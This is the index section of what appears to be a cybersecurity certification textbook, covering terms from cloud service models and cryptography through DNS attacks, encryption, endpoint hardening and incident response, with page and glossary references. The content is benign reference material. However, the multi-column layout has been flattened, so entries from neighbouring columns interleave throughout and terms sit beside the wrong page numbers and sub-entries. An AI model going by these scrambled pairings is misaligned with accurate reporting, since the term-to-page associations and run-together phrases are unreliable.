cloud service models, COBO. see corporate owned, team (CIRT), G-6, 12, 330
144–145 business only (COBO) Computer Security Act, 417
containerization, 149 code of conduct, G-5, 488 computer security incident
decentralized computing code signing, G-5, 320–321 response team (CSIRT), 12, 330
architecture, 147 code-signing certificate, 53 computer-based training (CBT),
resilient architecture coercion/threat/urgency, 31 G-6, 490–491
concepts, 147–148 cold site, G-5, 188 concurrent session usage, G-6,
responsibility matrix, cold storage, 148 382
145–147 collision attack, G-5, 396 conditional access, 83
software defined combination lock, 201 conduct policies, 488–489
networking, 152–153 command and control (C2 or acceptable use policy, 488
solutions, S-10 C&C), G-5, 376, 387 clean desk policy, 489

Index

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 I-8 | Index

code of conduct, 488 containment, in incident cost

social media analysis, 488 response, G-6, 333–334 architecture considerations,
use of personally owned isolation-based, 334 111
devices in the workplace, issues facing the CIRT, 333 biometric authentication,
489 segmentation-based, 334 75
Conficker worm, 211, 374 content categorization, 270 cloud architecture features,
confidential (secret) data, content delivery networks 154
472, 474. see also privacy data (CDNs), 147, 155 of orchestration
confidentiality, G-6 continuity of operations plan implementation, 436
authentication design and, (COOP), G-6, 182–184, 411 Counter Mode with Cipher
70 backups, 183 Block Chaining Message
availability over, 108 capacity planning, 183–184 Authentication Code Protocol
in CIA Triad, 2 relationship to business (CCMP), 257
encryption supporting, continuity, 183 counter-based tokens, 77
60–61 continuous integration and cousin domain, 33
lack of, 25 testing, 434 Coverity, 320
configuration continuous monitoring and covert channel, G-6–7, 376
changes, 429 compliance checks, 285 covertext, 66
drift, 281 continuous pentesting, 466 COVID-19 pandemic, 161
enforcement, 285 contracting and outsourcing, credential dumping, 397
for installing endpoint 164 Credential Guard, 395
protection, 288 contractual provisions, in rules credential harvesting, G-7, 386
configuration baselines, of engagement, 458 credential replay attack, G-7,
G-6 contractual noncompliance, 394–395
baseline deviation impacts of, 480 credentialed scan, G-7, 233
reporting, 276 control planes, G-6 credentials
endpoint hardening, in software defined issuing, 84
275–276 networking, 152 secure transmission of, 412
configuration item (CI), in zero trust architectures, Criminal Justice Information
174–175 165–167 Services Security Policy (CJIS),
configuration management, controller, 423 419
G-6, 174 controls, 198 critical (top secret) data, 472
configuration management accounting, 198 critical systems, identification
database (CMDB), 173, 174, authentication, 198 of, 448–449
175 authorization, 198 CRL. see certificate revocation
configuration management cookies, G-6, 319 list (CRL)
system (CMS), 175 session, 401 crossover error rate (CER), G-7,
configuration management supercookies, 375 75
tools, 252 tracking, 375 cross-site request forgery
conflict of interest, G-6, COOP. see continuity of (CSRF), G-7, 224, 401–402
454–455 operations plan (COOP) cross-site scripting (XSS), G-7,
competitive relationships, COPE. see corporate owned, 224–225, 319, 320
455 personally enabled (COPE) application vulnerability
financial interests, 454 COPPA. see Children’s Online scanning, 233
insider information, 455 Privacy Protection Act (COPPA) client-side scripts, 225
personal relationships, 455 corporate owned, business nonpersistent type, 224
confused deputy attack, 401 only (COBO), G-6, 293 stored/persistent type, 224
conservative risk appetite, corporate owned, personally cross-training, 184
448 enabled (COPE), G-6, 293 cryptanalysis, G-7, 38, 39, 40,
Consul, 151 corrective controls, G-6, 9, 10, 65
containerization, G-6, 149 115 cryptocurrency, 378–379
containers, 323 correlation, G-6, 360, 361 cryptographic primitive, G-7, 43

Index

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 Index | I-9

cryptography, 38. see also crypto-malware, 378–379 Cybersecurity Maturity Model

public key infrastructure (PKI) cryptojacking malware, 379 Certification (CMMC), 420
characters to describe crypto-ransomware, 378 CYOD. see choose your own
different actors involved in, cryptominer, G-7, 378 device (CYOD)
38 cryptoprocessors, 55–57
ciphertext in, 38, 39–40, 41, crypto-ransomware, 378 D
55, 57, 63 CSA. see Cloud Security Alliance
DAC. see discretionary access
cryptographic algorithms, (CSA) IoT Security Controls
control (DAC)
38–45 Framework
dark net, 237
encryption, 38–42 CSF. see cybersecurity
dark web, G-7, 237–238
hashing algorithms, 38, framework (CSF)
illicit activities and illegal
42–43 CSIRT. see computer security
content, 237–238
solutions, S-4 incident response team (CSIRT)
legitimate purposes, 238
cryptographic attacks, CSO. see chief security officer
DarkMatter, 377
396–397 (CSO)
dashboards, G-7, 347–348
birthday attack, 396–397 CSP. see cloud service provider
data
collision attack, 396 (CSP)
confidential, 474
downgrade attack, CSR. see certificate signing
cyber threat intelligence,
396 request (CSR)
236
cryptographic ciphers, CSRF. see cross-site request
duplication, 176
43–45 forgery (CSRF)
exfiltration, 18, 387
cryptographic keys, 216 CTI. see cyber threat
exposure, 321
cryptographic protocols, intelligence (CTI)
geographic access
updated, 257 CTO. see chief technology
requirements, 473–474
cryptographic solutions, officer (CTO)
geographic restrictions,
60–67 Cuckoo Sandbox, 323
474, 482
blockchain, 66 customization, vendor diversity
governance roles, 422–423
database encryption, and, 193
historian, 159
62 CVE. see Common
integrity, 332
disk and file encryption, Vulnerabilities and Exposures
inventories, 477
61–62 (CVE)
leakage, 269
encryption supporting CVSS. see Common
masking, 66
confidentiality, 60–61 Vulnerability Scoring System
in motion, 482
key exchange, 63–64 (CVSS)
privacy, 474–477
key stretching, 65 cyber incident response team,
regulated, 470
obfuscation, 66 330
at rest, 60, 481
perfect forward secrecy, Cyber Threat Alliance, 235,
restricted, 473
64–65 236
sanitization, 179, 213
salting, 65 cyber threat intelligence (CTI),
secure data destruction,
solutions, S-5–6 G-7, 236
179–180
transport/ cyberattack lifecycle, 386, 387
sensitivity, 470
communication cybersecurity, 160–161, 163,
sovereignty, 473
encryption, 63–64 192
steward, 423
cryptographic deception and disruption
data acquisition, G-7, 341
vulnerabilities, 215–216 technologies, 194
data at rest, G-7, 60, 481
digital signatures, 43–45 framework, 3
data breach, G-7, 277, 386,
plaintext (or cleartext) in, infrastructure, 329
478–479
38, 39, 40, 42, 62, 65 insurance, 246
escalation, 478
terminology is used to regulations, 419–420
notifications of, 478
discuss, 38 vendor diversity and, 192
organizational
cryptojacking, 226, 379, 381 cybersecurity framework (CSF),
consequences, 478
CryptoLocker, 378 G-7, 3

Index

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 I-10 | Index

potential for unauthorized endpoint agents, 484 data subject, G-8, 475–476
access, 478 network agents, 484 data types, 470–471
public notification and policy server, 484 data type checks, 319
disclosure, 478–479 quarantine, 485 financial data, 471
data classifications, G-7, tombstone, 485 human-readable data, 471
472–473 data masking, G-8, 66 legal data, 471
confidential (secret) data, data owner, G-8, 423 non-human-readable data,
472 data planes, G-8 471
critical (top secret) data, in software defined regulated data, 470
472 networking, 152, 153 trade secrets, 471
private/personal data, in zero trust architectures, database encryption, G-8, 62,
472 165–167 481
proprietary information, data processor, G-8, 60, database management system
472 475–476, 482 (DBMS), 62
public (unclassified) data, data protection, 481–483 database mirroring, 178
472 authorities, 422 database-level encryption, 62
restricted data, 473 cloud security datacenter security, 416
sensitive data, 473 considerations, 156 Datagram TLS (DTLS), 132
solutions, S-25 data at rest, 481 data/media encryption key
data compliance, 479–480 data in transit, 482 (DEK/MEK), 278
assessments, 461 data in use, 482 DBMS. see database
contractual noncompliance, database encryption, management system (DBMS)
impacts of, 480 481 dcfldd, 343
monitoring, 481 encryption, 294 DCS. see distributed control
noncompliance, impacts of, methods, 482–483 system (DCS)
479 encryption, 482 dd command, G-8, 343
obligations, in rules of geographic restrictions, DDoS. see distributed DoS
engagement, 458 474, 482 (DDoS)
reporting, 480–481 hashing, 482 DDoS attacks. see distributed
scan, 366 masking, 482 denial of service (DDoS) attacks
software licensing, 480 obfuscation, 483 deadbolt lock, 201
solutions, S-25 permission restrictions, decentralized computing
vendor diversity and, 193 483 architecture, G-8, 147
zero trust architectures segmentation, 483 decentralized security
and, 164 tokenization, 483 governance, 421
data controller, G-7, 475–476 zero trust architectures, deception technologies, G-8,
data custodian, G-7, 423 164 194
data encryption key (DEK), 61 Data Protection Act 2018, 418 decommissioning, 289
Data Encryption Standard data retention, G-8, 477 DECT. see Digital Enhanced
(DES), 215 data sources, 347–357 Cordless Telecommunications
Data Execution Prevention application logs, 351 (DECT)
(DEP), 221, 400 automated reports, 348 deduplication, G-8, 345
data exfiltration, G-7, 18, 387 dashboards, 347–348 deep fake technology, 32
data exposure, G-7, 321 endpoint logs, 351 deep web, 237–238
data historian, G-7, 159 host operating system logs, default credentials, 26, 253
data in transit, G-8, 60, 482 349–350 defaults, changing, 288–289
data in use, G-8, 60, 482 log data, 348–349 defense and military
data inventories, G-8, 477 metadata, 355–356 organizations, 422
data loss prevention (DLP), G-8, network, 352–353 defense in depth, G-8, 108,
269, 313, 365, 484–485 packet captures, 354 115, 192, 193
alert only, 485 solutions, S-19 Defense Information Systems
block, 485 vulnerability scans, 352 Agency (DISA), 252

Index

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 Index | I-11

defensive penetration testing, destruction, G-8, 179 Diffie-Hellman (D-H) key

G-8, 466 detailed agreements, 457 agreement, G-9, 64, 258
de-identification, 66 detection, G-8 DigiCert, 48, 50
DEK. see data encryption key in incident response, 331 digital certificates, G-9, 49, 134
(DEK) methods Digital Enhanced Cordless
DEK/MEK. see data/media behavioral-based Telecommunications (DECT),
encryption key (DEK/MEK) detection, 268 204
delivery, 386 network behavior and digital envelope, 63, 64
Dell EMC, 177 anomaly detection, digital forensics, G-11, 340–346
denial of service (DoS) attack, 268 acquisition, 341–343
G-8, 25, 186, 257, 315, 387–388 signature-based due process, 340
amplified attack, 388 detection, 267–268 legal hold, 341
DDoS indicators, 388 trend analysis, 268 preservation, 343–344
distributed DoS, 387 in NIST Cybersecurity reporting, 344–345
distributed reflected attack, Framework, 3 solutions, S-18–19
388 time, of incident response, Digital Signature Algorithm
network attacks, 386 332 (DSA), 45
SYN flood attack, 387 detective controls, G-8, 9, 10, digital signatures, G-9, 44–45
wireless, 392 115 direct access vectors, 25
deny lists, 427–428 deterrent security control, 10 directive security control, G-9, 9
DEP. see Data Execution detonation, 323 directory services, G-9, 90–91
Prevention (DEP) development and operations directory traversal, G-9, 404
dependencies, G-8, 229 (DevOps), 12 Dirty COW vulnerability, 220
deperimeterization, 163–164 device attributes, 116–118 DISA. see Defense Information
definition and concept of, active versus passive, Systems Agency (DISA)
163 116–117 disassociation attack, G-9, 392
trends driving, 163–164 fail-open versus fail-closed, disaster recovery (DR), G-9
cloud platforms, 163 117–118 backups, 175
mobile technology, 164 inline versus TAP/monitor, cloud as, 188–189
outsourcing and 117 continuity of operations,
contracting, 164 device discovery, Bluetooth, 182, 183
remote work, 163–164 298 geographic dispersion, 188
wireless networks, 164 device isolation, 277 multi-cloud strategy, 193
deployment device permissions, restricting, natural disasters or other
automating, 288 294, 295 large-scale events, 187
ease of, 111, 154 device placement, G-8, 115–116 organizational policies, 411
plan, for installing endpoint detective controls, 115 planning, 155
protection, 288 illustrated, 116 recovery validation
deployment models, 292–293 preventive, detective, and strategies, 176–177
bring your own device, corrective controls, 115–116 redundancy strategies, 182
292 preventive controls, 115 disclosure, in e-discovery, 345
choose your own device, device posture, 165 Discord, 185
293 Device Provisioning Protocol discretionary access control
corporate owned, business (DPP), 257 (DAC), 81
only, 293 device vulnerabilities, S-13, disinformation/misinformation,
corporate owned, 210–219 G-9, 18, 34
personally enabled, 293 DevSecOps, G-9, 12 disk encryption, 61–62,
deprovisioning, G-8, 85 DHE. see Diffie-Hellman 277–278
DES. see Data Encryption Ephemeral (DHE) disk image acquisition,
Standard (DES) dictionary attack, G-9, 394 342–343
desktops, full disk encryption Diffie-Hellman Ephemeral disposal/decommissioning,
and, 278 (DHE), 65, 306 G-9, 179

Index

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 I-12 | Index

disruption strategies, G-8, 194 domain name system (DNS), E

distinguished name (DN), G-9, 102
EAP. see Extensible
90–91 attacks, 390–391
Authentication Protocol (EAP)
distributed control system DNS attack indicators,
EAP-TLS, 259
(DCS), 159 391
EAP-TTLS, 259
distributed databases, DNS client cache
Easy Connect method, 257
147 poisoning, 390
EasyMesh standard, 297
distributed denial of service DNS server cache
eavesdropping, 25, 300
(DDoS) attacks, G-9, 162 poisoning, 390
ECC asymmetric cipher. see
distributed DoS (DDoS), 387, DNS-based on-path
Elliptic Curve Cryptography
388 attacks, 390
(ECC) asymmetric cipher
distributed reflected DoS enumeration, in active
ECDHE. see Elliptic Curve DHE
(DRDoS) attack, G-9, 388 reconnaissance, 464
(ECDHE)
distribution point filtering, 313–316
ECDSA. see Elliptic Curve DSA
of CRL, 54 DNS security, 315–316
(ECDSA)
field, 54 effectiveness of,
economic impact, of incident
DKIM. see DomainKeys 313–314
response, 332
Identified Mail (DKIM) implementing, 314
economies of scale, 188
DLP. see data loss prevention footprinting, 315
edge computing, 151
(DLP) Domain-based Message
cloud architecture, 151
DMARC. see Domain-based Authentication, Reporting &
cloud automation
Message Authentication, Conformance (DMARC), G-9,
technologies, 152
Reporting & Conformance 311–312
e-discovery, G-10, 345
(DMARC) DomainKeys Identified Mail
EDR. see endpoint detection
DN. see distinguished name (DKIM), G-9, 304, 311, 312
and response (EDR); enhanced
(DN) doppelganger domain, 33
detection and response (EDR)
DNS. see domain name system DoS attack. see denial of
education and children, laws
(DNS) service (DoS) attack
and regulations in, 419
DNS poisoning, G-9, 390 double file extension, 373
EF. see exposure factor (EF)
DNS Security Extensions downgrade attack, G-9–10, 306,
EFS. see Encrypting File System
(DNSSEC), 304, 315–316 396
(EFS)
DNS sinkhole, G-9, 194 downtime, 187, 332, 428–430
EHRs. see electronic health
DNSSEC. see DNS Security DPP. see Device Provisioning
records (EHRs)
Extensions (DNSSEC) Protocol (DPP)
802.1x, 109–110, 258
Docker, 149, 323 DR. see disaster recovery (DR)
802.11, 257
document files, 27 Dragonfly handshake, 258
802.11ac, 257
Document Object Model DRDoS. see distributed
802.11ax, 257
(DOM), G-9, 225 reflected DoS (DRDoS) attack
802.11n, 257
DOM-based cross-site drones, 204
elasticity, high availability,
scripting (XSS), 225 drop attack, 26
187
documentation Dropbox, 185
electronic health records
in decommissioning DSA. see Digital Signature
(EHRs), 483
process, 289 Algorithm (DSA)
electronic keypad lock, 201
lack of, 109 DTLS. see Datagram TLS (DTLS)
electronic lock, 201
in resiliency testing, 196 dual power supplies, 191
electrostatic discharge (ESD),
in testing resiliency, 196 due diligence, G-10, 417, 453,
344
version control and, 455, 479
Elevation of Privilege
430–431 due process, 340
vulnerability, 220
DoD. see US Department of dump file, G-10, 342
ElGamal cipher, 45
Defense (DoD) duration-based login policy, 86
Elliptic Curve Cryptography
DOM. see Document Object duress alarm, 204
(ECC) asymmetric cipher, 42, 60
Model (DOM) dynamic analysis, G-10, 233

Index

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 Index | I-13

Elliptic Curve DHE (ECDHE), 65, encryption, G-10, 482 social engineering, 281
306 algorithms, 38–42, 417 vulnerabilities, 281
Elliptic Curve DSA (ECDSA), 45 asymmetric, 41–42, weak configuration, 282
email, 27, 32 60–61 endpoint detection and
data loss prevention, cryptographic ciphers, response (EDR), G-10, 279–280
313 43–45 endpoint hardening, 274–276
encryption, 287, 294 digital signatures, 44 configuration baselines,
gateway, 312 hashing, 42–43 275–276
Internet header, 355 key length, 40–41 operating system security,
mail delivery agent, 355 substitution, 39 274–275
mail transfer server, 100 symmetric, 39–40, 60–61 registry settings, 275–276
mail user agent, 355 transposition, 39 workstations, 275
mailbox server, 100 of backups, 178 endpoint logs, G-10, 351
metadata, 355–356 Bluetooth, 299 Endpoint Manager, 279, 288
RFC 822 email address, 53 database encryption, 62 endpoint protection, 276–279
security, 311–313 disk and file encryption, antimalware, 277
Domain-based Message 61–62 antivirus software, 277
Authentication, key exchange, 63–64 disk encryption, 277–278
Reporting & levels, 61–62 installing, 288
Conformance, 311–312 database-level isolation, 277
DomainKeys Identified encryption, 62 patch management, 279
Mail, 311 file encryption, 61 segmentation, 276–277
email gateway, 312 full-disk encryption, 61 endpoint protection platform
Secure/Multipurpose partition encryption, 61 (EPP), 351, 364
Internet Mail Extensions, record-level encryption, endpoint security
312–313 62 advanced endpoint
Sender Policy volume encryption, 61 protection, 279–281
Framework, 311 near-field communication, best practice baselines,
services, 309–311 300 274–275
configuring mailbox standards, 417 endpoint configuration,
access protocols on a supporting confidentiality, 281–286
server, 310 60–61 endpoint hardening,
Secure IMAPS, 311 techniques, 287 274–276
Secure POP, 310–311 transport/communication endpoint protection,
Secure SMTP, 309 encryption, 63–64 276–279
Simple Mail Transfer End-of-Life (EOL), 212 hardening specialized
Protocol, 309 endpoint configuration, 281–286 devices, 289–290
soft tokens sent via, 77 access control, 282 hardening techniques,
spam, 264, 304, 311, access control lists, 282–283 286–289
312 application allow lists and implementing, 274–291
embedded systems, G-10, block lists, 284 solutions, S-16
158–159 configuration drift, 281 endpoint security, zero trust
attacks on, 160 configuration enforcement, architectures and, 164
examples, 158 285 energy
Real-Time Operating file system permissions, in ICS/SCADA applications,
Systems, 159 283–284 160
solutions, S-11 group policy, 285 laws and regulations in, 419
Encapsulating Security Payload lack of security controls, 281 enhanced detection and
(ESP), G-10, 132 monitoring, 284–285 response (EDR), 351
encoding, 319 principle of least privilege, enhanced open, 257
Encrypting File System (EFS), 282 enterprise authentication,
61 SELinux, 285–286 G-10, 258

Index

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 I-14 | Index

enterprise local area network ethical hacking. see penetration external media
(LAN), 102 testing full device encryption, 294
enterprise network ethical principles, in reporting, full disk encryption, 278
architecture, 100–114 344 external threat actors, G-14, 17
architecture and ETSI. see European extortion, G-11, 18
infrastructure concepts, Telecommunications
100–101 Standards Institute (ETSI) IoT F
architecture considerations, Security Standards
fabrication and manufacturing
111–112 European Telecommunications
applications, 160
attack surface, 108–109 Standards Institute (ETSI) IoT
facial recognition, 75
network infrastructure, Security Standards, 162
facilities, 160
101–102 European Union, regulations
factors, G-11, 70
physical isolation, 111 and laws in. see General Data
factory settings, 289
port security, 109–110 Protection Regulation (GDPR)
fail-closed, G-11, 117–118
routing infrastructure evaluation scope, 222–223. see
fail-open, G-11, 117–118
considerations, 104–106 also target of evaluation (TOE)
failover, G-11, 189
security zones, 106–108 Event Viewer, G-10, 349, 351
failover tests, 189, 195
solutions, S-8–9 evidence integrity, 344
failure to enroll rate (FER), 75
switching infrastructure evil twin, G-10, 391
fake telemetry, G-11, 194
considerations, 102–104 exception handling, G-10, 321
false acceptance rate (FAR),
enterprise risk management exception remediation, 247
G-11, 74
(ERM), G-10, 446 exceptions, 321
false match rate (FMR), 74
entropy, 55, 56 executable file, 26
false negatives, G-11, 244, 268,
entry/exit points, 199 Execute (x), in Linux, 283
361
environmental attack, G-10, execution control policy, 284
false non-match rate (FNMR),
385 exemptions, in remediation,
74
environmental design, security 247
false positives, G-11, 244, 268,
through, 199 existing structures, 200–201
361
environmental variables, G-10, expansionary risk appetite, 448
false rejection rate (FRR), G-11,
245–246 explicit TLS, 309, 310
74
EOL. see End-of-Life (EOL) exposure factor (EF), G-10, 245,
Family Educational Rights and
ephemeral, G-10, 64–65, 87 441
Privacy Act (FERPA), 419
EPP. see endpoint protection extended detection and
FAR. see false acceptance rate
platform (EPP) response (XDR), 280, 351
(FAR)
equipment Extensible Authentication
fast identity online (FIDO)
disposal, 417 Protocol (EAP), G-11, 110, 259
universal 2nd factor (U2F), 76,
physically securing, 253 Extensible Authentication
78
equipment room, 104 Protocol over LAN (EAPoL),
fault tolerance, G-11, 187
eradication, in incident G-11, 110, 259
FDE. see full-disk encryption
response, 334–335 Extensible Configuration
(FDE)
ERM. see enterprise risk Checklist Description Format
F-Droid Android application
management (ERM) (XCCDF), 365–366
store, 217
error, 322 eXtensible Markup Language
Federal Information Processing
error handling, 321–322 (XML), G-11, 95
Standards (FIPS), 45, 415, 443
escalated breach, G-10, 478 injection, 403–404
Federal Information Security
escrow, G-10, 57 external assessments,
Modernization Act (FISMA),
ESD. see electrostatic discharge 460–461, 462
417, 418, 419, 420
(ESD) external compliance reporting,
federation, G-11, 93–94
ESP. see Encapsulating Security 481
feedback, in security
Payload (ESP) external examination, 462
awareness training, 496
espionage, 21 external hard drives, full disk
fencing, G-11, 199
EternalBlue exploit, 211 encryption and, 278

Index

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 Index | I-15

FER. see failure to enroll rate transparent, 119 fully qualified domain name
(FER) web application, 127 (FQDN), 51, 52, 102
FERPA. see Family Educational firewalls logs, G-11, 352–353
Rights and Privacy Act (FERPA) firmware, 342 G
FIDO2/WebAuthn, 78 peripheral device with
Galois Counter Mode (GCM),
FIDO/U2F. see fast identity malicious, 299
306
online (FIDO) universal 2nd port protection, 286
gamification, 490–491
factor (U2F) updates, 289, 298
gap analysis, G-12, 4–5
field devices, 160 vulnerabilities, 213, 279
Gartner
file integrity monitoring (FIM), first responder, G-11, 331
“Magic Quadrant” reports,
G-11, 280–281 FISMA. see Federal Information
280
file system Security Modernization Act
market analysis, 268
malicious code, 381 (FISMA)
gateways, 201–202. see also
permissions, 283–284 “Five Whys” model, 335
locks
snapshots, 177 5 GHz network, 254, 256
GCMP. see AES Galois Counter
File Transfer Protocol (FTP), flexibility, vendor diversity and,
Mode Protocol (GCMP)
G-11, 309 193
GDPR. see General Data
fileless malware, 374 flow label, 363
Protection Regulation (GDPR)
files flow record, 363
General Data Protection
in e-discovery, 345 FMR. see false match rate (FMR)
Regulation (GDPR), 179, 240,
encryption, 61–62 FNMR. see false non-match
313, 418, 419, 420, 473, 475,
metadata, 355 rate (FNMR)
476–477, 479
transfer services, 309 forced proxy servers, 122–123
generators, 191
FileVault, 61 Forcepoint, 227
Generic Security Services
FIM. see file integrity Forcepoint Insider Threat,
Application Program Interface
monitoring (FIM) 281
(GSSAPI), 136
financial data, G-11, 471 forensics. see digital forensics
geofencing, G-12, 295, 296
financial interests, 454 forgery attacks, G-11, 401–403
geographic access
financial motivations, of threat cross-site request forgery,
requirements, 473–474
actors, 18 401–402
geographic dispersion, G-12,
financial services, laws and server-side request forgery,
188
regulations in, 419 402–403
geographic restrictions, 474,
fingerprint recognition, 75, 463 Fortify, 320
482
FIPS. see Federal Information Forum of Incident Response
GeoIP, 86
Processing Standards (FIPS) and Security Teams, 243
geolocation, G-12, 86
firewalls, 118–119 forward proxy servers,
geo-redundant storage (GRS),
configuration enforcement, 122–123, 227
148
285 forwarding functions, 101
GeoTrust, 48
device placement and FQDN. see fully qualified
GLBA. see Gramm-Leach-Bliley
attributes, 118–119 domain name (FQDN)
Act (GLBA)
hardware security, 254 fraud, G-11, 18
global law, 418
host-based, 287 Freenet, 237
Global Positioning System
layer 4, 120 FRR. see false rejection rate
(GPS), G-12, 86, 294, 296
layer 7, 121 (FRR)
Assisted GPS, 296
logical ports, 287 FTP. see File Transfer Protocol
GPS tagging, 295
misconfigured, 233 (FTP)
jamming or even spoofing,
next-generation, 125 FTPES. see Explicit TLS (FTPES)
296
packet filtering, 118, 264 FTPS, G-12, 304, 305, 309
Google App Engine, 144
router, 119 full device encryption and
Google BeyondCorp, 167
rules in access control list, external media, 294
Google Chrome, 323
263, 264 full-disk encryption (FDE), G-12,
Google G Suite, 144
stateful inspection, 120 61, 277, 278, 287

Index

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 I-16 | Index

Google Pay, 300 group account, G-12, 82 encryption techniques,

Google Play Store for Android, group authentication, 134, 258 287
217 group policy, 285 host-based firewalls, 287
Google Project Zero, 211 group policy objects (GPOs), installing endpoint
Google Workspace, 93, 185 G-12, 85, 275, 276 protection, 288
governance, G-12, 420 GRS. see geo-redundant intrusion prevention
Governance, Risk, and storage (GRS) systems, 287
Compliance (GRC), 454 GSC. see Government Security monitor, 288
governance and accountability, Classifications (GSC) port protection, 286–287
420–423 GSSAPI. see Generic Security standardize
centralized and Services Application Program configurations, 288
decentralized security Interface (GSSAPI) updates and patches, 288
governance, 421 guarantee secure, 320 hardware
data governance roles, guardrails and security groups, assets, issuing, 84
422–423 434 decommissioning, 289
government entities and guidelines, G-12, 411 identifying, 449
groups, 422 vulnerabilities
governance boards, H end-of-life, 213
420–421 suppliers, 228
HA. see high availability (HA)
governance committees, hardware security module
hacker teams, 19
421 (HSM), 56–57, 62, 76, 216
HackerOne, 239
hybrid governance theHarvester, 236
hackers, G-12, 19
structures, 421 hash digest, 42
hacktivist group, 20
laws and regulations, 419 hash key derivation function
hacktivists, G-12, 20
monitoring and revision, (HKDF), 306
handshake, TLS, 306, 307
420 hash-based message
hard authentication tokens,
zero trust architectures, authentication code (HMAC),
G-12, 76–77
164 G-12, 64, 76, 306
hard disk drive (HDD), 61, 342
governance boards, G-12, HashiCorp, 151
destruction of, 289
420–421 hashing, G-12, 482
disk encryption, 277
governance committees, G-12, hashing algorithms, 42–43, 416
hardening, G-12, 274
421 cryptographic ciphers,
concepts, 253
Government Security 43–45
embedded and RTOS, 290
Classifications (GSC), 419 cryptographic primitive, 43
ICS/SCADA, 290
GPOs. see group policy objects digital signatures, 44–45
specialized devices,
(GPOs) message digest algorithm #5,
289–290
GPS. see Global Positioning 43
hardening embedded
System (GPS) to prove integrity, 42
and RTOS, 290
Gramm-Leach-Bliley Act secure hash algorithm, 43
hardening ICS/SCADA,
(GLBA), 418, 419, 443 HCL (HashiCorp Configuration
290
granularity, zero trust Language), 151
techniques, 286–289
architectures and, 164 HDD. see hard disk drive (HDD)
automate deployments,
gray box testing, 239 Health Insurance Portability
288
grayware, 372 and Accountability Act (HIPAA),
centralize management,
GRC. see Governance, Risk, and G-12, 179, 240, 313, 414, 418,
288
Compliance (GRC) 419, 420, 443, 478–479
changing defaults and
Greenbone healthcare, laws and
removing unnecessary
Community Edition regulations in, 419
software, 288–289
vulnerability manager, 242 Heartbleed bug, 211
create a deployment
OpenVAS vulnerability heat map, G-12, 255, 443
plan, 288
scanner with Security heat map risk matrix, G-13, 446
decommissioning, 289
Assistant, 232, 233 heuristics, G-13, 268

Index

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 Index | I-17

HIDS. see host intrusion hosted private cloud, 142 IaC. see infrastructure as code
detection systems (HIDS) host-to-host tunnel, 130 (IaC)
high availability (HA), G-13, 148, hot site, G-13, 188 IAM. see identity and access
186–189 hot storage, 148 management (IAM); Identity
across zones, 148 HOTP. see HMAC-based one- and access management (IAM)
cloud as disaster recovery, time password (HOTP) IBM
188–189 hotspots, tethering and, 297 MaaS360, 293
downtime, calculating, 187 HR. see Human Resources (HR) QRadar User Behavior
fault tolerance and HSM. see hardware security Analytics, 281
redundancy, 187 module (HSM) X-Force Exchange, 234, 236
scalability and elasticity, HTML5 VPN, G-13, 134 ICSs. see industrial control
187 HttpOnly attribute, 319 systems (ICSs)
site considerations, 188 Human Resources (HR) ICV. see Integrity Check Value
testing redundancy and, identity and access (ICV)
189 management, 412, 413 identification, G-13, 5
HIPAA. see Health Insurance incident response, 330 files, in e-discovery, 345
Portability and Accountability information security in IAM, 5–6
Act (HIPAA) competencies, 11 in NIST Cybersecurity
HIPS. see host-based intrusion onboarding, 412, 413 Framework, 3
prevention (HIPS) personnel management, identity and access
hiring (recruitment), 412 412 management (IAM), G-13, 5–6,
HKDF. see hash key derivation human vectors, 30 412, 413
function (HKDF) human-machine interfaces authentication, 70–80
HMAC. see hash-based (HMIs), G-13, 159 authorization, 81–88
message authentication code human-readable data, G-13, identity management,
(HMAC) 471 89–97
HMAC-based one-time hybrid architecture, 143 zero trust architectures
password (HOTP), 76 hybrid cloud, G-13, 143–144 and, 164
home appliances, as hybrid governance structures, identity management, 89–97
embedded system, 158 421 directory services, 90–91
Homeland Security Act, 443 hybrid password attack, G-13, federation, 93–94
honeyfiles, 194 394 Linux authentication, 90
honeynets, 194 hybrid/remote work training, Open Authorization, 96
honeypots, G-13, 194 492 Security Assertion Markup
honeytokens, 194 Hypertext Transfer Protocol Language, 95
horizontal privilege escalation, (HTTP) single sign-on
G-13, 400 file download, 309 authentication, 91–92
host intrusion detection file transfer, 309 single sign-on
systems (HIDS), G-13, 265, protocol security, 304, 305 authorization, 92–93
280–281, 287 Transport Layer Security, solutions, S-7–8
host key, 135 305 Windows authentication, 89
host node, 101 Hypertext Transfer Protocol identity proofing, 84
host operating system logs, Secure (HTTPS) identity provider (IdP), G-13, 94
349–350 default port, 306 identity theft, 478
Linux logs, 350 protocol security, 304, 305 IdenTrust, 48
macOS logs, 350 Transport Layer Security, IdP. see identity provider (IdP)
Windows logs, 350 305, 306 IDS. see intrusion detection
host-based firewalls, G-13, hypervisors, 213 systems (IDS)
287 IEC. see International
host-based intrusion I Electrotechnical Commission
prevention (HIPS), G-13, 265, IaaS. see infrastructure as a (IEC)
280–281, 287 service (IaaS) IEEE 802.1X, G-13, 109–110

Index

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 I-18 | Index

IIC. see Industrial Internet indemnification, 480 information security

Consortium (IIC) Security independent assessments, management system (ISMS),
Framework 456 414, 415
IKE. see Internet Key Exchange India, regulations and laws in, information security policies,
(IKE) 418 G-14, 411
IM. see instant messaging (IM) indicator of attack (IoA), 380 information sharing, dark web
image files, 27 indicator of compromise (IoC), and, 238
IMAP. see Internet Message G-14, 379–380 Information Sharing and
Access Protocol (IMAP) indoor positioning system (IPS), Analysis Centers (ISACs), G-14,
IMAPS. see secure IMAP G-14, 294, 353 236
(IMAPS) industrial applications, 160 Information Systems Security
impact, G-13, 446 industrial automation, as Officer (ISSO), 11
analysis, 427 embedded system, 158 Information Technology Act
in incident response, industrial camouflage, G-14, 2000, 418
332 200 information-sharing
of risk, 446 industrial control systems organizations, G-14, 236
of vulnerabilities, 245 (ICSs), G-14, 159–161 informed consent, 418
impersonation, G-13, 31 applications, 160–161 infrared sensors, 205
implicit deny, G-13, 263 cybersecurity, 160–161 infrastructure as a service
implicit TLS, 309 hardening, 289, 290 (IaaS), G-14, 145
implicit trust zone, 166 supervisory control and infrastructure as code (IaC),
impossible travel time, G-13, data acquisition, 160–161 G-14, 151
86, 382 workflow and process infrastructure changes, 429
incident, G-13, 328 automation systems, 159 inherence factor, 73
incident reporting, 495 Industrial Internet Consortium inherent risk, G-14, 442–443
incident response (IR), 12, (IIC) Security Framework, initial agreements, 457
328–339 162 injection attacks, G-14, 403–406
analysis, 332–333 industry standards, 415. canonicalization attack, 404
containment, 333–334 see also International command injection attack,
detection, 331 Electrotechnical Commission 404
eradication and recovery, (IEC); International directory traversal, 404
334–335 Organization for Extensible Markup
